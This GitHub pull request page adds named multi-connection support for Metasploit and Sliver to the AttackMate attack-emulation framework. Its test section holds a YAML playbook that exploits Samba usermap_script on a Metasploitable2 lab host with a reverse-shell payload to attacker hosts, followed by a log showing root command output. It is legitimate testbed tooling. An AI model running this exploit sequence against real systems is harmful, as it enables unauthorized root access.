Skip to content

Add named multi-connection support for MSF and Sliver#238

Merged
whotwagner merged 11 commits into
ait-testbed:developmentfrom
thorinaboenke:feature_multi_connections_msf_sliver
Jun 9, 2026
Merged

Add named multi-connection support for MSF and Sliver#238
whotwagner merged 11 commits into
ait-testbed:developmentfrom
thorinaboenke:feature_multi_connections_msf_sliver

Conversation

@thorinaboenke

@thorinaboenke thorinaboenke commented May 29, 2026

Copy link
Copy Markdown
Contributor

Task

#175

also fixes #190

Description

Extend msf_config and sliver_config to support multiple named connections (matching existing bettercap_config/remote_config pattern).
Each command accepts an optional connection field; if not specified first configured connection is used.
Backwards compatibility: Single-connection configs (old format) are automatically migrated to a named default entry with Pydantic field_validator(mode='before'), --> existing playbooks and configs require no changes.

Changes:

  • MsfConfig/SliverConfig now stored as Dict[str, Config]
  • MsfClientMixin / SliverClientMixin extracted for client resolution and per-connection caching
  • connection field added to all msf and Sliver command schemas
  • Unit tests
  • Docs updated for msf_config, sliver_config and respective command types
  • Scoped MsfSessionStore by connection name

How Has This Been Tested?

  • test_multi_connections_config.py for config schema migration (old flat format → named default)
  • test_msfclientmixin.py for resolving connection and getting client for all three msf executors
  • test_sliverclientmixin.py

manual test with two attacker and one target (Metasploitable2)
playbook:

  ⎿ #
     # Manual test: multiple MSF connections against Metasploitable2 (192.43.0.25)
     #
     # Run with:
     #   uv run attackmate --config config.yml test.yml
     #
     # What this tests:
     #   - Commands without 'connection' field route to primary (192.43.0.188)
     #   - Commands with 'connection: secondary' route to 192.43.0.16
     #   - Sessions are scoped per connection (shell_primary is invisible to secondary)
     #   - RESULT_STDOUT reflects output from the correct session on each connection

     vars:
       TARGET: 192.43.0.25
       LHOST_PRIMARY: 192.43.0.188
       LHOST_SECONDARY: 192.43.0.16

     commands:

       # -----------------------------------------------------------------------
       # PRIMARY connection: usermap_script, reverse shell back to 192.43.0.188
       # No 'connection' field — must use first configured entry (primary).
       # -----------------------------------------------------------------------

       - type: debug
         cmd: "=== PRIMARY: exploiting Samba usermap_script on $TARGET ==="

       - type: msf-module
         cmd: exploit/multi/samba/usermap_script
         creates_session: shell_primary
         options:
           RHOSTS: $TARGET
           RPORT: "139"
         payload: cmd/unix/reverse
         payload_options:
           LHOST: $LHOST_PRIMARY
           LPORT: "4444"
         # no 'connection' — routes to primary

       - type: debug
         cmd: "PRIMARY session obtained"

       - type: msf-session
         cmd: id
         session: shell_primary
         # no 'connection' — routes to primary

       - type: debug
         cmd: "PRIMARY id: $RESULT_STDOUT"

       - type: msf-session
         cmd: uname -a
         session: shell_primary

       - type: debug
         cmd: "PRIMARY uname: $RESULT_STDOUT"

       # -----------------------------------------------------------------------
       # SECONDARY connection: usermap_script, reverse shell back to 192.43.0.16
       # Explicit 'connection: secondary' — must route to 192.43.0.16.
       # -----------------------------------------------------------------------

       - type: debug
         cmd: "=== SECONDARY: exploiting Samba usermap_script on $TARGET ==="

       - type: msf-module
         cmd: exploit/multi/samba/usermap_script
         creates_session: shell_secondary
         options:
           RHOSTS: $TARGET
           RPORT: "139"
         payload: cmd/unix/reverse
         payload_options:
           LHOST: $LHOST_SECONDARY
           LPORT: "4444"
         connection: secondary

       - type: debug
         cmd: "SECONDARY session obtained"

       - type: msf-session
         cmd: id
         session: shell_secondary
         connection: secondary

       - type: debug
         cmd: "SECONDARY id: $RESULT_STDOUT"

       - type: msf-session
         cmd: uname -a
         session: shell_secondary
         connection: secondary

       - type: debug
         cmd: "SECONDARY uname: $RESULT_STDOUT"

       # -----------------------------------------------------------------------
       # Cross-connection isolation: run on shell_primary again via primary.
       # Confirms session stores are scoped per connection.
       # -----------------------------------------------------------------------

       - type: debug
         cmd: "=== Cross-connection isolation: shell_primary still reachable on primary ==="

       - type: msf-session
         cmd: hostname
         session: shell_primary
         # no 'connection' — primary only

       - type: debug
         cmd: "PRIMARY hostname: $RESULT_STDOUT"

       - type: debug
         cmd: "=== All checks complete ==="

Output:

attacker@attacker1:~$ cat output.log 
--- 2026-06-10 08:06:37 INFO: ---

Command: === PRIMARY: exploiting Samba usermap_script on 192.43.0.25 ===
Debug: '=== PRIMARY: exploiting Samba usermap_script on 192.43.0.25 ==='
--- 2026-06-10 08:07:11 INFO: ---

Command: exploit/multi/samba/usermap_script

--- 2026-06-10 08:07:11 INFO: ---

Command: PRIMARY session obtained
Debug: 'PRIMARY session obtained'
--- 2026-06-10 08:07:13 INFO: ---

Command: id
uid=0(root) gid=0(root)

--- 2026-06-10 08:07:13 INFO: ---

Command: PRIMARY id: uid=0(root) gid=0(root)

Debug: 'PRIMARY id: uid=0(root) gid=0(root)
'
--- 2026-06-10 08:07:16 INFO: ---

Command: uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux

--- 2026-06-10 08:07:16 INFO: ---

Command: PRIMARY uname: Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux

Debug: 'PRIMARY uname: Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
'
--- 2026-06-10 08:07:16 INFO: ---

Command: === SECONDARY: exploiting Samba usermap_script on 192.43.0.25 ===
Debug: '=== SECONDARY: exploiting Samba usermap_script on 192.43.0.25 ==='
--- 2026-06-10 08:07:49 INFO: ---

Command: exploit/multi/samba/usermap_script

--- 2026-06-10 08:07:49 INFO: ---

Command: SECONDARY session obtained
Debug: 'SECONDARY session obtained'
--- 2026-06-10 08:07:52 INFO: ---

Command: id
uid=0(root) gid=0(root)

--- 2026-06-10 08:07:52 INFO: ---

Command: SECONDARY id: uid=0(root) gid=0(root)

Debug: 'SECONDARY id: uid=0(root) gid=0(root)
'
--- 2026-06-10 08:07:55 INFO: ---

Command: uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux

--- 2026-06-10 08:07:55 INFO: ---

Command: SECONDARY uname: Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux

Debug: 'SECONDARY uname: Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
'
--- 2026-06-10 08:07:55 INFO: ---

Command: === Cross-connection isolation: shell_primary still reachable on primary ===
Debug: '=== Cross-connection isolation: shell_primary still reachable on primary ==='
--- 2026-06-10 08:07:58 INFO: ---

Command: hostname
metasploitable

--- 2026-06-10 08:07:58 INFO: ---

Command: PRIMARY hostname: metasploitable

Debug: 'PRIMARY hostname: metasploitable
'
--- 2026-06-10 08:07:58 INFO: ---

Command: === All checks complete ===
Debug: '=== All checks complete ==='


Checklist

  • This Pull-Request goes to the development branch.
  • I have successfully run prek locally.
  • I have added tests to cover my changes.
  • I have linked the issue-id to the task-description.
  • I have performed a self-review of my own code.

@thorinaboenke thorinaboenke changed the base branch from main to development May 29, 2026 09:44
@thorinaboenke thorinaboenke marked this pull request as draft May 29, 2026 09:56
@thorinaboenke thorinaboenke requested a review from erik-graf June 1, 2026 08:22
@thorinaboenke thorinaboenke marked this pull request as ready for review June 9, 2026 13:17
@thorinaboenke thorinaboenke requested a review from whotwagner June 9, 2026 13:17
@whotwagner whotwagner merged commit 267f5c1 into ait-testbed:development Jun 9, 2026
1 check passed
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants